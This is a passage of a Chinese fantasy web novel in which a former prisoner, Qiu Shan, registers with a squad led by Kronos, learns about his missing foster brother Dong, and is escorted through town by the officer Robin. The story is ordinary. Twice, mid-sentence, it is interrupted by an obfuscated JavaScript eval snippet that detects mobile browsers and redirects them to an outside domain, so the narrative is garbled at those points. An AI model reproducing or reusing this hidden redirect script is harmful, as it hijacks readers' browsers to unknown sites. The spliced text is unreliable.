不光是重犯追踪,经济宽裕的阿瑞斯杯选手——比如齐格飞——通常也会把这项技术运用在形象宣传上,克洛诺斯年轻时就由报社代理过此类高糊海报,因为那时的显像纸和镜头都很廉价……即便如此,娜塔莎也愿意把一大半工资花在那上面。 ——公器私用还好意思拿出来显摆,又输一筹!听不到腹诽的克洛诺斯戴好了手套:“还有还有,昨天说的冰晶体镜头,我拆下来给你看!” 马尔科姆副队长暂停憋笑,出言制止道:“队长,卖弄你那点小爱好之前先干正事吧——这位小姐刚才说,她想来咱们手底下干活。” 克洛诺斯猛一抬头,指着他腰上的那串钥匙大声嚷嚷:“等一下,亲爱的马尔科姆,你昨晚该不会是把我一个人锁在办公室了吧?” 马尔科姆皮笑肉不笑:“那可不,我怕有野狼进来吃你。” 克洛诺斯掀起衣角闻了闻,嫌恶地在鼻子前挥挥手:“不,马尔科姆,会开锁的野狼不吃酒渍人肉。” 即便有人出言提醒,他也继续无视着阿邱的投诚,很好,刻意感更浓了,全盘皆输!把老厉害了的克洛诺斯拉到自己的同等水平,阿邱一下子释怀了,正想跟着调笑两句,对方却丢下成影仪,就近拖来一把椅子坐下,“倏”地换上一副严肃的面孔:“哦?你想加入终止式?” 阿邱的心脏从地心剧院大门口摔到了售票处。 “不不不,我没有那个资质!” 好吧好吧,是她想当然了,她不想再反复确认克洛诺斯有多厉害了——不仅有控制存在感的本事,于是阿邱进门时没能发现他;还有充分的权势把想回避的话题拖到他最舒适的时机回应,就算气氛转换有些突兀,也没人会责怪他。 大敌当前,阿邱生怕被看穿了心思,连连摆手道:“我的意思是,比起森林戍卫队,我更愿意接受你们的……你们的管辖!” 的确,她所谓的“投诚”,在操作上可解释为一种站队。 目的在于:既要无限接近目标,又要保有一丝余地,只有平衡好两种态度,出了事才方便跑路。 也如她所愿,克洛诺斯听了,表情变得更茫然:“什么意思?” 阿邱向他递出黑卡,上面还压着一支笔:“意思是,我还没在终止式这边做过入镇登记。” 听了迦南小队长的说法,她大胆猜测,终止式名义上的工作内容与戍卫队有些撞车,戍卫队一见面就盘查了二等通行证持有者的来历,想来终止式也该具备这项职权……或者说业务吧。 克洛诺斯微张开嘴,不用回头就能在身后桌上摸到一本崭新的册子——不是,还真有这项业务啊? “好的,你这个,你……” 阿邱抢着开口:“我叫邱珊,是珊瑚的珊,不是姗姗来迟的姗,今年20岁,老家不在瓦德密尔,进入旧矿山镇的目的是观看阿瑞斯杯武斗大赛。” 克洛诺斯的神情就像在上听写课,一笔一划地认真给她填写下来,倒也能随机应变,自然而然地找到了新话题:“‘珊’?好名字啊!说明你在父母心中是无价之宝。” 阿邱有些诧异:“这样吗?我觉得不是的……” “怎么讲?” “你有没有发现,珊瑚是一种活着的时候无人在意,死了之后才有价值的生物?” 蓦地,克洛诺斯“啪”一声把登记册拍在大腿上,指着阿邱的鼻子震声道:“小姐,请收回你刚才的话!” 凑来看热闹的马尔科姆马上替他解释:“下次别在我们队长面前讲这种悲观的话了。” 又被吓了一大跳的阿邱心想,这哪里悲观了,不都是客观事实吗?正因为珊瑚跟自己很像,她才选出这个字来当新名字的。 无法把控情势,但她知道哄好了人才能把谈话继续下去,尽管心里很不服气。 “对不起,我下次再也不敢了。” “还有。”克洛诺斯拒不接受道歉,脸也板了起来,“如果我没理解错,你好像很讨厌森林戍卫队?” “有吗?”很明显吗? “说什么‘比起戍卫队,更愿意被你们管辖’……邱小姐,作为终止式的领头人,我必须跟你强调一遍:无论是标准音还是神殿戍卫队的各支部,我们或许有着不同的制服、不同的肤色、不同的口音,行事风格也大相径庭,但本质上讲,都是守护世界安宁与和平的同僚。这次终止式前来旧矿山镇,唯一的职责就是替森林戍卫队分担繁重的工作,至于你想象中的那些矛盾与壁垒,很抱歉,并不存在。” 这番话说得极为板正响亮,比起塔尔塔洛斯处刑前的钟声有过之而无不及。阿邱的心脏皱巴起来:行行行,名不正言不顺的这位角斗士,您实在是太光明磊落啦!光明磊落到平时都不爱打听“同僚”是怎么看待他的,理论上讲,未来有的是他吃亏的时候,等着瞧吧! 警示上位者的意图是可笑的,阿邱忽视了这一步,堆出一脸笑:“明白啦。别这么见外嘛,你们可以管我叫阿邱。” “阿邱?”有一个瞬间,谁家手舞足蹈的小孩附到了克洛诺斯身上:“哈哈哈,不好意思,听着有点像在打喷嚏。” 阿邱哽住,旋即后悔。她为新名字想配套绰号的时候,怎么就没料到有今天呢! 小孩稍露个头就手舞足蹈地消失了,顷刻间变回了可怕的大人物:“那么,交换条件是什么?” 好在阿邱提前准备过这个问题——倒不如说,她只准备了面对可怕大人的问题,于是熟练地摆出扭捏的姿态:“是这样的,我想接着问问通缉令的事……” 克洛诺斯回以抬头纹:“你还是不肯信任我们吗?” 倒也不是完全不信…… 通缉令就藏在克洛诺斯怀里,马上可以递给她看:“还有别的问题吗?” 阿邱慎重地接过。说起来,如果通缉令的来源是成影仪的特殊功能,她现在最担心的是流星的主人只是一段被记忆美化过的影像…… 像是猜出她在想什么,马尔科姆适时补充道:“现实中确实存在这个人,你要是不信,我们还有照片。” 他从克洛诺斯的另一只上衣口袋里拿出一张照片:“邱小姐,请你再仔细回忆回忆,你确定从没见过这个人?” 泛黄的照片上,主人公的相貌从未被记忆篡改过,流星也还是流星,只是那张略嫌稚嫩的脸上不见半分笑意,仿佛和对面人有仇似地死死盯着镜头,眼中交织着懵懂和阴狠。 囚徒。 ——和他对上视线,阿邱的脑海中首先浮现出这个词。 记忆的加工未曾美化他的容颜,除了加上动态,也不过是给他赋予了本不存在的笑容而已。 一秒之前,阿邱还在尝试从克洛诺斯的微表情判断事实真假,现在可好,被两个版本的四颗流星全面包抄,她实在没能忍住脸红,眼镜都起雾了。 “仔细一看”的力量往往被人忽略,然而,无数种谎言和幻想都败在了“仔细一看”的石榴裙下——先前阿邱管中窥豹,竟忽略了他的左眼下还有一道淡淡的伤痕,不动的真实与会动的记忆都原封不动地把它记录下来了,欢迎仔细一看,谢绝惊鸿一瞥。 忘记谁说过的,先民信奉的多神图腾有一大特征就是不对称,这道瑕疵一出现,阿邱反而觉得流星的主人更加生动鲜活、可触碰了。 顺着这个话题说下去,你们看,是不是作者不仔细一写,观众朋友就不知道阿邱其实戴了眼镜?害得大家拖到第四章才有机会仔细一看。这个先不说,仅用汉字画过肖想,阿邱就连更大框架上的体貌特征都是模模糊糊的——比如说,身高一米七整,在洱鸾成年女性中约莫是中等水准,这么重要的一项设定,遇上叙述者/呈现者有意无意的隐瞒,“仔细一看”就不好使了。 “啊,邱小姐的身上正在冒出蒸汽。” 马尔科姆语调夸张地冲克洛诺斯挤挤眼。 事到如今,克洛诺斯也总算看明白了形势,默默地、失落地把成影仪收回小皮包,再把小皮包收回抽屉。 人生寂寞如斯!所谓“年轻的同好”,不过是个大乌龙罢了,到头来谁也不能理解他的心;背后升起一座孤峰,上头奔来一匹孤狼,头顶千年的雪,冲万年的残月发出咆哮—— 不通人性的可恶副手还在跟这位大乌龙说笑:“你好像很喜欢他的画像呢,虽说没备份,我们这里还有不会动的复印件,要不送你两张?” “真的吗真的吗?那太好了——不对,我也没有很喜欢!对不起我下次再也不敢了,我只是在回忆到底在哪里见过这张脸……” 不知被什么抽干了力气的克洛诺斯强撑着站起来,拍拍她的头道:“阿邱小姐,我给你提个建议:下次道歉时,别说什么‘再也不敢’了,这简直就像一种示弱。” 不示弱要示什么呢? 要知道,在塔尔塔洛斯,只有摆出这个态度才能少挨两顿打,虽然感觉不到疼,但自尊受辱也是很影响睡眠的;到了外面,规则陡然变得像满天星星一样多,陌生人有没有打她一顿的意愿又捉摸不透,逃跑不成先放低姿态,总比想也不想直接还手要宜人吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052052|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她可不能再…… “下回你就说:‘对不起,我不是故意的’。” 那万一她是故意的呢? “不管是不是故意的,你先跳开一步,把自己摘出去再说,这样才能最大限度降低损失。” 根本目的竟是把自己摘出去?好新鲜的视角啊…… 克洛诺斯看着她懵懵懂懂的样子,心里直叹气。现在的小朋友都怎么了,连如何道歉都要等着社会上的大人来教吗? 阿邱却是有些触动,把手伸进口袋里,捏了一下跑步时买的小本子,考虑着要不要把这条厚脸皮小技巧抄记下来。 好了,话题回到通缉令上。克洛诺斯在造价昂贵的显像纸上戳戳点点:“唉,我早该想到的,你关心的不是别的,根本就是画中人啊。” 不想让头白挨拍,阿邱满怀期待地问:“关于他,可以把你知道的一切都告诉我吗?不方便就算了……” 于是又被拍着头教育了:“你下次提要求最好用祈使句,别用问句,后半句假设也千万别加,不加还好,一加全乱套,除了好心肠的你大哥我,还有谁会毫无保留地满足你?” 马尔科姆不愧是这个售票处的情商天花板,用转移视线的方式软化了他发言中的生硬之处:“队长啊,不是我说,你要是没干这行,当个调律师也能赚大钱的。” 克洛诺斯真把这句话当做夸奖,赧然道:“哪里哪里,读这种全是字儿的专业,你比我在行。” 连续附赠两条生存小技巧后,好心大哥终于说起了他是如何遇到阿邱的流星的: “……是我救下来的人,在那之前经历过非常不好的事……本想带走他跟我一起生活,谁知他半道上自己跑了,这一走就是六年——哦对,上回你问到他是不是我弟弟,现在一想,可能还真是这么回事儿吧,‘临门一脚的弟弟’,哈哈。” 从他略带惆怅的讲述中,阿邱捕捉到一个令人沉重的消息:流星的主人,整整失踪六年了?从理论上讲,她现在多半是凶多吉少……不,理论只是理论,也有一条重要的理论说过,不见棺材不落泪。 “你是从什么地方救下他的?”她继续问下去,嗓音里有了自己都察觉不到的颤抖。 克洛诺斯脸上闪过一丝厌恶:“或许你知道‘今日月剧团’吗?” 剧团?阿邱下意识地抬头看看天花板。 “算了,不知道也好,那可不是什么好去处。唉,六年一晃就过去了,直到现在,他坐在血泊中骂人的样子我还是历历在目。” 许是与娜塔莎奇妙的相似,阿邱听到这个,除了鼻子发酸,心里还漫过一阵愧疚。 如此说来,克洛诺斯还真是在寻亲?殉情和寻亲只差一个后鼻音,为了夺得这个后鼻音,阿邱强压情绪,大脑高速运转:目前看来,克洛诺斯的性格——至少外在表现得——相对而言比较真诚坦荡,只看这一条,这件事的可信度约莫有个六七成吧。 既然如此,她稍稍放下戒心,拍着胸脯道:“我来帮你们找!” 她转向脑子显然更好使的马尔科姆副队长:“你们需要一个线人,我是自由身,跟行政人员比起来少了束缚,消息来源一定更加丰富,而且你们应该看得出来,我的动力是很足的!” 马尔科姆笑而不语,表达了一种婉拒。 如果这还不够……阿邱咬咬牙,又朝着正队长保证道:“我们将会形成合作关系,不需要额外收取佣金。” 克洛诺斯外露出大受感动的情绪,同时再次使用了不良话题闪躲术:“我想起来我刚刚要说什么了——阿邱小姐,趁现在只有我们三个,有件事必须当面跟你讲:请不要习惯性地把人往坏处想。” 阿邱的意志力比他薄弱得多,又把这句话听进去了,情绪不禁有些低落:您猜怎么着,至少在这件事上,她已经用尽全身的力气了。 就知道单凭投诚和站队是不够的,双方想要达成合作,起码得相互知根知底才行。到了这个环节,阿邱做好了被他们盘问“为什么在塔尔塔洛斯待了八年,是犯了什么事呀”的准备——她知道祭司的兵刃们能接触到的情报等级远超镇级单位,对此她的猜测是:要么他们出于立场不方便过问此事;要么根本就是早就知道了一切,但没有触及到核心利益,因而毫不在乎。 “吱呀”。 打断沉默的是突如其来的开门声,对马尔科姆来说,小铁门很轻便,野狼来了也能轻松撞破,但如果推开它的人足够不客气,噪音也还是蛮大的。 进来的是昨天那位讲话不客气的小队员,左手抱着一纸袋法棍,右手提着打包好的咖啡,多半是清早被使唤跑腿导致情绪不佳,一看领导们正事不干、又把“个人私事”的通缉令团团围住,白眼都翻起来了。 阿邱看向他,稍稍回忆了一下,他的名字好像叫—— “回来啦豆子!” 克洛诺斯无视那对白眼,高兴地冲他招招手。 对对,叫罗宾来着。绰号的来源嘛,很显然是小零食品牌“罗宾豆”。 并不重要。阿邱随意地瞥他一眼便收回了视线,只管如饥似渴地用目光钉住纸面的流星,免得它闪过一下又消失了。 7. 第五章 美少年 大家不关注豆子,豆子也不需要大家的关注,垮个脸、抿张嘴,把早餐丢到生活不能自理的领导们面前,差事还不能算办完。 多半是按照以往的惯例,每人得到半根法棍配奶酪火腿,外加一杯咖啡,多出来的那位女士就不够分了。不请自来的是阿邱,这事不归豆子负责,得到一句“啊谢谢我已经吃过啦”,他便啧了声,拿走自己那份,一言不发地回到办公桌前,抽出椅子墩在地上。 当前室内的空气质量可能不太适合进餐,只留给人一个背影的豆子原封不动地把早餐扔在一旁,用一种挑起整个终止式大梁的气魄,一头扎进了工作的海洋中——说“海洋”还不够准确,描述他堆满了文件的工位,用“整个指挥处最高的山峰”更为恰当。 这幅样子不禁让阿邱联想起森林戍卫队的那位新人审讯员,不由得分出心神多看了他两眼。说不定,他还没到合法饮酒的年龄,无法深度参与到昨天的“正事”中去;其余同级都不在,他又是整个指挥处看起来最清醒的人……综上合理推测,两位领导昨晚很可能都是由他一人吭哧吭哧扛回来的,那画面想想就心酸——真不容易啊,社会新人。 同一现象短时间内连续出现两次,就可以当成规律来总结了:无论团队氛围如何,凡是地位最低的“小兵”,责任往往都会超过自己的报酬与承受力,新人审讯员和豆子都在这样的处境里,难怪脾气也一样地暴躁。 阿邱觉得,比起克洛诺斯的道歉小技巧,这才是值得她给一本本子开光的知识点。 这段小插曲过后,她把注意力转回到正事上。 “长官长官,找到他之后你有什么打算?” 像是诧异于这个问题,克洛诺斯英气的眉毛又抬高了:“没什么特别的打算,好吃好喝供起来,养肥了就把他风风光光卖给富婆喽。” 一贫如洗的阿邱当下决定多磨两把杀驴刀。 “对了!”差点又忘了问,“你弟弟他叫什么名字?” 这倒不是什么机密,坦然接受了大哥身份的克洛诺斯说:“鸫。鸟类里会唱歌的那个鸫。” 单字名?那算称号还是外号? “嗐,他早把真名给忘了,这个名字还是他重获新生后自己给自己取的,拆开来理解,‘来自东方的飞鸟’。” “啊,他是瓦德密尔人?” “有这种可能。另外,世上还有个地方比东城还要东……” 阿邱大吃一惊:“你是说远东之城?” ——远东之城瓯瑞恩蒂斯,那不是早在神魔大战之前就被海水吞没了吗? 看着黑发褐眼的阿邱,克洛诺斯道:“对。搞不好你俩还是老乡哦。” 听他这么说,阿邱心里忽然一咯噔,产生一种冷门的担忧:万一和那些新浪潮小说写的一样,他们两人还沾点血缘关系……大事不好,那她还要怎么对他这样那样啊! 克洛诺斯哪知道自家弟弟被贼惦记到这份儿上,叹着气继续道:“鸫的天赋极高,在救助站里跟我学了两手,六年过去年龄也够了,要是他肯来参加这届阿瑞斯杯,说不定我还能——” “等一下等一下。”血缘关系暂且不论,新的担忧烫到了阿邱,“你遇到鸫时他几岁了?” “十四五岁的样子吧。他当时……” 后面的话没听清,阿邱不光心里直咯噔,脖子上的项圈也勒得更紧了:女神啊,惦记人家十四五岁的少男之前,她竟忽略了一种可能性:面庞稚嫩不是这个人的面貌特征,而是这个年龄段的特征啊!虽说六年过去,现在的鸫应该跟阿邱一样大了,可再怎么说,令人移不开视线的通缉令记录下的年龄也并不合法……邱珊啊邱珊,你真该回塔尔塔洛斯再蹲两年! 话已至此,她必须直面惨淡的现实了:看到流星便产生了轻佻的邪念与不健康的占有欲,先是轻率决定了别人的生死,随之而来的还有对一个无辜者的敌意,躁动难耐下又采取了一系列不负责任的措施……没别的原因,肯定都是魔族血脉在搞鬼!她都不好意思回忆起昨晚在梦里把鸫囚禁起来这样那样的画面了,怎么敢的啊,这位四年前还在蹲大牢的囚徒? 所以她一定得藏好半人半魔的身份、不惜代价奋力抵抗住魔族血脉的操控,直到找到密医换血成为人类,才配像戏剧中的救世主一样光荣牺牲——否则,就算她死在赎罪的路上,并以死亡揭示了某种真理,解剖她的人看到那些沸腾过的魔血,还是会不定期回来唾上两口,无论是对着无辜的真理,还是对着生而有罪的她的墓碑。 “好的,情况我都了解了。”逃之夭夭前她还有些问题要嗫嚅,“谢谢你,克洛诺斯队长。最后请允许我再打听一件事——昨天你建议我去看看调律师,我也真的考虑过,但我在旧矿山镇人生地不熟的……听说希孚里亚很有名望的调律师——名叫摩罗斯还是什么来着?为了大赛也搬来这个小镇了,可是他为人低调,不知道他现在住在哪里……” 包打听表示他没听说过这么个人,说起来,镇上本来就有位很不错的调律师,称号“加百列”,从地心剧院往南走,靠近邻镇的三间绿顶小木屋就是他的工作室。 和昨天在戍卫队得到的答案一模一样。阿邱有些丧气,看样子,从这个系统她是打探不到什么了。 克洛诺斯摸摸下巴,展示出略带冒犯的体贴:“打听调律师都打听到我这儿来了,身边也没个人在……阿邱小姐,你今天还有别的安排吗?我们一会要出去巡逻,就让豆子送你回住处吧。” 突然被安排的豆子后背一僵。 阿邱的感想可能跟他差不多:直到送客为止,裁定方都没有要回应投诚的意思,话题闪躲术的终极策略竟是置若罔闻,不容小觑的实力啊,克洛诺斯。 不行不行,为了情绪稳定,凡事须往好处想:她来得不巧,对方没有直接轰人已经算修养很好了,好事多磨嘛,下次就成功啦。 更何况,马尔科姆副队长适时递来了通缉令的复印件——至少她把“最坏最坏”的结果拿到手了,还有什么不满足的? 而没得到及时回应的领头人克洛诺斯目露凶光,伸长了脖子重复道:“叫你呢,罗宾小队员!” 阿邱赶忙说:“不麻烦你们啦,我一会还要先去二手市场买点生活用品,然后再去恰比镇长介绍的旅店报道……” “恰比镇长?”克洛诺斯不会放过任何一个路过他耳边的笑话,“唰”地换上小孩人格,拍着手哈哈大笑起来:“你可真行,人家镇长的大名叫恰克,不是恰比,又不是人长成什么样就该取什么名字的!当然,前提是名字不是他自己取的。” 闹了笑话的阿邱摸摸后脑勺,心里更加讨厌他了——这位青中年男性是不是兴奋过头了?而且怎么总想教她点什么呢? 打听到旅店地址后,克洛诺斯不依不饶地替阿邱得罪人:“你是第一次去那边吗?那就更应该让人跟着了。罗宾小队员!快,你陪阿邱小姐买完东西,看着她登记入住了再回来。” 被安排计划外的工作三百遍,罗宾小队员终于回过头来,扶了扶快要滑坡的文件山,当着外人的面也不好开口骂前辈,只好接着用眼神代劳。 阿邱珍惜地收起通缉令的复印件,向他们敬了个礼:“打扰了各位长官,那我先告辞了!” 马尔科姆看她那副样子,又笑道:“队长,你也别闲着,快点把你弟弟找回来,否则他要是已经被富婆拐走了,你就什么也捞不着啦——这不,小迷妹又多了一位。” 豆子在门口戴好了围巾手套,克洛诺斯指着他说:“快去吧,旧物市场离这儿没几步路,钱不够就找豆子借。” 真好啊。森林戍卫队和终止式究竟有没有矛盾暂时不明,但这个系统有一个共同点:都是亲切和蔼地欢送阿邱滚出自己视线的。 当然,这才不是结束。正如森林戍卫队在审讯中回避核心问题,终止式的老油条们也始终闪躲着项圈和谎言的话题,与她互相扮演着好长官与好市民的角色。 没有哪出戏只演个开场节目就拉下帷幕,只是黏在阿邱身上的视线好像又回到了原来的水平,真叫人不舒服。 ———————————————— ———————————————— 旅店并不远,从地心剧院出发,走过两条街、穿过镇上的公民广场就到了,不需要搭乘有轨矿力车。考虑到美好的通勤距离,事实上,阿邱的计划中还鬼鬼祟祟地藏着一个白日梦,那就是一鼓作气在终止式找到正职工作,直到杀驴时机成熟——真是想太多,她哪里高攀得起哦。 豆子警官在前头带路,眼下,她唯一的乐趣就是偷偷打量这个跟自己差不多高的人。一米七对女性来说算中档水平,放在男性身上就完全不够看了,这位新人的不近人情,说不定也跟生理短板有关…… 但阿邱可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052053|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了一种看到同龄人就想凑上去套近乎的病,快走几步来到他身旁,笑吟吟道:“罗宾警官、罗宾警官——请问我以后可以用‘警官’来称呼你吗?” 排除身份上的敏感,没有人看到现在的豆子不想叫他一声“警官”:正式上任后,他比昨天穿戴得更齐整,卷檐帽一戴,看起来确实警里警气的。 不过,他手上一黑一白的两只半掌手套也能说明,“警官”的制服在一定范围内允许有些变动,服装纪律可比人家戍卫队要宽松多啦。 豆子想了想,简短回答:“只能在赛时这么叫。” 阿邱便开始得寸进尺:“嘿嘿,豆子警官!” 豆子没搭理她,只轻轻捏了一下黑白双色的拳头,骨节咔咔作响。 阿邱不作声了。永远不要惹一个处在爆炸边缘的火药桶,永远。 这大概是新人警官特有的气场,加上他是异性,比起郊外那位新人审讯员,阿邱对豆子又多了几分畏惧,生生忍住抢走他的卷檐帽再赶快逃跑的冲动,也庆幸自己刚才那番投诚发言没被他听到。 却又不想就此放弃,换了种忧虑的口吻道:“那么多的文件全是你一个人在处理吗?你领导也不说帮着分担分担,还临时安排你另外的工作……” 哪壶不开提哪壶。作为“另外的工作”本作,阿邱挨了一瞥,目光里没有杀意,但绝对说不上客气。 就这样沉默着走到广场,阿邱忽然“哇”了一声,扯住豆子的衣袖,指向围在中央喷泉旁的一群人:“快看!” 那是来自卫城的短裤竖笛队和礼帽合唱团——原名当然不该叫这个,但他们没有挂牌子,她就只好用直观的外在特征来描述了。团员全都是未成年的男孩,身着华丽的小礼服,乐器堆放在脚下,肩上扛着枪托镶有华丽碎钻的仪仗枪,正在人群的注目礼下排练歌曲,都是人们耳熟能详的圣歌,赞颂英雄凯旋。 能请到洱鸾大陆最受欢迎的表演团来参加开幕式,恰比……恰克·夏尔玛镇长颇有些人脉嘛。 先前提到,洱鸾大陆正流行着一种美少年狂热主义的新浪潮,人们既崇拜不败的角斗士,又追捧柔弱无力的美少年。早在王政时代,这种狂热被称作“柏拉图式的恋爱”,由于不论出身的阶层流动影响到了社会秩序——也耽误了贵族间的联姻——受到了当局的严厉批判;如今公民时代已来临,社会风气更加宽容,柏拉图式的审美观也正在逐渐复兴。 说来也是好事,可血统不纯的阿邱总有“群众喜欢,你以为你算老几”的异见:或许美少年给普通人的生活增添了色彩,可是对他们本人来说,受到追捧也并非全然是好事吧?不信你看,春寒料峭,他们却统一穿着短到大腿根的礼服短裤,两条腿就这么光溜溜地暴露在寒风中——明明之前还被允许有一层白丝袜的,哪有这种越发展越欺负人的服装纪律! 更可怜的是,因为身上黏着群众热切的目光,他们必须始终保持完美的笑容,都不敢分出精力去打颤…… 得了吧,有空在这操心别人,某些已成年穷光蛋还不如可怜可怜她自己——听说这些孩子收入都高得离谱,坊间也因此流传着一种说法:家里出个美少年,一整页族谱都能从此咸鱼翻身。 “有什么好看的?快走。” 豆子像是对此完全不感兴趣似的,不悦地甩开阿邱的手,又一次走到了前头。阿邱低着头追上去,却在两步以内被什么东西绊住了脚步。 是远处的一支飞镖扎中了她的后脖颈吗?非也。阿邱一回头,对上了小巷深处的一道视线。 这道视线是冲着她来的,实在难以忽略,因为视线的主人身着式样繁复的曳尾裙和渔网袜——怎么回事啊一个个的,瓦德密尔不相信寒冷是吧! 更让人难以忽略的是,阿邱一眼就能看出,做这副打扮、身强体壮、人高马大,看起来一拳能抡飞两个豆子的……很明显,是个男人。 好可怕啊,还在暗处冲阿邱发射wink。 害怕归害怕,阿邱不能丢了礼貌,试着wink回去的时候,却受制于僵硬的面部肌肉控制能力:她没法一次只闭一只眼。 半路走丢了市民的警官折回来,看到阿邱正冲某处拼命挤眉弄眼,狐疑道:“你脸抽筋了?” “不是不是,我看到那边有个人——” 也就转头说句话的工夫,再次望向小巷深处时,奇怪的女装男早已不见踪影。 8. 第六章 囚徒 抵达广场西的旧物市场时,同龄人间的沉默仍没有要打破的意思。 阿邱不肯轻言放弃,调整了心态,从豆子的右手边溜达到左手边,暗示她要换一种搭讪方式了。 “罗宾警官、罗宾警官,为了阿瑞斯杯的顺利举办,据我了解,森林戍卫队已增派了不少人手过来,请问你们终止式为什么还要从北边赶来蹚这趟浑……凑这个热……参、参与这场盛宴啊?” 她尽力在话里注入了很多的礼貌,还有刚从克洛诺斯那边学来的厚脸皮,以“咋俩谁跟谁”的话术:“你们小队人数不多,个个都是精英,说是要增派人手,但我觉得肯定不是帮忙维持大赛秩序那么简单吧! “这不是你该打听的事。” 眼看豆子又有加快脚步的趋势,阿邱连忙小跑两步跟上:“好吧,我不打听,不如你来听听看我的猜测:旧矿山镇最近会有潜伏的魔族上岸,对吧?” 豆子偏头看向她,微眯起眼:“谁告诉你的?” “不都说了是猜测嘛!”阿邱夸张地挥挥拳头:“要是我能成为你们的线人,你们暴打魔族狗头的时候我也能上去帮着干两拳,是的我会打架,而且长得不像会打架,就是这样才容易让敌人放松警惕!” 豆子打断她:“队长不会为这种无聊的理由雇佣线人;至于排查混入境内的异端和魔族,那是你们恰比镇长的职责——” 话说半截,两人路过一间布料店。阿邱被琳琅满目的商品吸引走了注意力,把豆子晾在一旁,蹭蹭蹭地跑了进去。 豆子站定深呼吸一下,跟上她。只听得邱小姐在跟老板讨价还价,老板刚说:“……这边倒是有些刚从凶宅……”她就顺杆子爬:“那正好给我打个折呗!” 就这样草率地买好了被单,她把花花绿绿的布料甩到肩上,跟豆子打个招呼,又钻进隔壁的日用品二手店里采购了一番,在资金极其有限的情况下,出来时还捎上了几只泡澡用的小鸭子。 她表示:“我在……我在‘那地方’就很想尝试一下这个啦。” 付款的时候,豆子走到邱小姐身后,摁了一下她架在耳朵上的眼镜腿,运用跷跷板的原理,使得眼镜在她鼻梁上蹦跶了一下。 邱小姐扶着眼镜回过头:“怎么了罗宾警官?” “你管店家要只布袋。” 这个人……就不说随身行李了,行李袋都没准备一只,豆子观察了一阵才发现,她里里外外在衣物上缝满了用作收纳的荷包,不仅让大衣变得很沉,远远看去,简直跟个疯疯癫癫的流浪汉没两样。 对这位小姐来说,外在形象似乎根本不是个事儿,就比如说,她全身的色彩搭配都与和谐毫无关系,衣服是衣服裤子是裤子的,上半身与下半身几乎形成敌对关系——要是在希孚里亚,穿成这样去面试,前脚刚迈出面试间,后脚就会进入人才库的黑名单。 豆子才没那份闲心出言提醒,邱小姐倒特别珍惜同龄人的提议,听话地照办了,举着一个破旧的米袋跑到他面前征求意见:“这个可以吗?” 把买好的东西一股脑全塞进去,一路上,她又自顾自地高谈阔论起了棉花与气候的关系:什么“最适宜棉花的生长温度”为多少到多少,温度过低容易感染病虫害、过高则影响纤维品质啦;什么“瓦德密尔虽有精品棉花种植基地,但人们日常用到的棉花还是主要靠南城进口”啦,就比如这条床单,商标写了“弥赫迪斯制造”,很多情况下,大众对产量的依赖远远高于质量……也不知道谁问她了! 一直到走进广场东的街道,她才终于止住话头。橱窗里的人台穿着一条非常漂亮的礼服连衣裙,她停下脚步,又一次看痴了——原来也不是毫无审美能力啊。 但很快,邱小姐被立在一旁的标价牌吓清醒了。许是不想被豆子看出,她干笑两声,又指着隔壁礼品店的橱窗道:“那些该不会是美少年合唱团的周边吧?” 缩小版的仪仗枪也在枪托上镶了碎钻——当然,更可能是碎玻璃片。既然是出现在礼品店的,这些枪支多半没什么杀伤力,不需要收缴盘查……不,豆子很快否决了这个想法,看都看到了,最好还是跟克洛诺斯提一嘴。 在洱鸾大陆,枪支的用途和古代的魔杖没什么区别,只要没有不良信用记录,任何公民都能合法持有。然而,一般人只能携带无法填弹的普通枪支,神殿戍卫队则为小队长以上级别统一配备制式枪支,都有编号、人在枪在;为了应对有可能入侵、也有可能不入侵的魔族与异端,银弹和火药都量大管饱。 而标准音就不一样了——就连豆子这个新兵,外套下都藏了填满弹药的□□手枪。 他不确定邱小姐对枪支有没有“在那地方就很想试试啦”的需求,即便以她的身份,顶多能接触到用来点火的枪形魔杖。不过,如果她的下一个动作是进入礼品店询价,豆子会迅速提出“不如攒攒钱买通讯设备”的建议,不是好心替陌生人省钱,这都是为了克洛诺斯的安全着想。 当然,如果这项提议也遭到否决——当邱小姐真的转身走向礼品店,豆子也把右手伸向衣领深处——他就有充分的理由制裁这位塔尔塔洛斯刑满释放的囚徒了。 ———————————————— ———————————————— 前夜。 在希孚里亚角斗士协会承办的篝火晚会上,克洛诺斯输出了成吨成吨闹耳朵的大笑。他的精力居然也是有限的,被搀出去时,只剩下打酒嗝的力气了。 由于这个酒嗝是冲着豆子的脸打的,下一秒,他被扔到了路旁的荒草地上。 “哎哟喂,轻点!” 酒鬼就地躺平,在草地上快活地舞动起了四肢,就像一只无忧无虑的大海星。 还有脸笑!豆子运着气看了他一会,转身就走。 克洛诺斯连忙蹦起来追上他:“不要生气嘛,罗宾小队员!” 挂回下属身上,这个半醉不醉的家伙还有一肚子抱怨要向他倾诉:“好烦啊!你知道我有多烦吗?早知道就不接这活了!女神啊,您在天有灵,当初签卖身契成立终止式的时候,神像就摆在庭院中央呢,您怎么就不当场显灵提醒我两句呢?豆子豆子,你快帮我搓搓胳膊,自打这个劳什子第三进行建立以来,我总觉得身上像是黏着一层视线似的——是吧,你也觉得吧!哈?你没有?是你太迟钝了!说真的,迟早有一天,我怕是要‘嗷’的一声猝死在这个岗位上了,呜哇啊——” 